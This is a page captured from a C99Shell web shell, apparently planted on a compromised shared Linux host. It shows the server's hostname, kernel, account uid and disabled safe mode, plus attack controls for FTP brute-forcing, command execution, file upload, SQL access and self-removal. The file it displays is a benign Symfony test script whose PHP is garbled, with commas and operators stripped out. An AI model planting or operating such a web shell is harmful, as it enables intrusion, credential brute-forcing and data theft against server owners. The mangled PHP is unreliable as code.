!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php54/usr/share/pear/test/Process/Symfony/Component/Process/Tests/   drwxr-xr-x
Free 293.98 GB of 429.69 GB (68.42%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PipeStdinInStdoutStdErrStreamSelect.php (1.51 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

define
('ERR_SELECT_FAILED'1);
define('ERR_TIMEOUT'2);
define('ERR_READ_FAILED'3);
define('ERR_WRITE_FAILED'4);

$read = array(STDIN);
$write = array(STDOUTSTDERR);

stream_set_blocking(STDIN0);
stream_set_blocking(STDOUT0);
stream_set_blocking(STDERR0);

$out $err '';
while (
$read || $write) {
    
$r $read;
    
$w $write;
    
$e null;
    
$n stream_select($r$w$e5);

    if (
false === $n) {
        die(
ERR_SELECT_FAILED);
    } elseif (
$n 1) {
        die(
ERR_TIMEOUT);
    }

    if (
in_array(STDOUT$w) && strlen($out) > 0) {
         
$written fwrite(STDOUT, (binary) $out32768);
         if (
false === $written) {
             die(
ERR_WRITE_FAILED);
         }
         
$out = (binary) substr($out$written);
    }
    if (
null === $read && strlen($out) < 1) {
        
$write array_diff($write, array(STDOUT));
    }

    if (
in_array(STDERR$w) && strlen($err) > 0) {
         
$written fwrite(STDERR, (binary) $err32768);
         if (
false === $written) {
             die(
ERR_WRITE_FAILED);
         }
         
$err = (binary) substr($err$written);
    }
    if (
null === $read && strlen($err) < 1) {
        
$write array_diff($write, array(STDERR));
    }

    if (
$r) {
        
$str fread(STDIN32768);
        if (
false !== $str) {
            
$out .= $str;
            
$err .= $str;
        }
        if (
false === $str || feof(STDIN)) {
            
$read null;
            if (!
feof(STDIN)) {
                die(
ERR_READ_FAILED);
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0036 ]--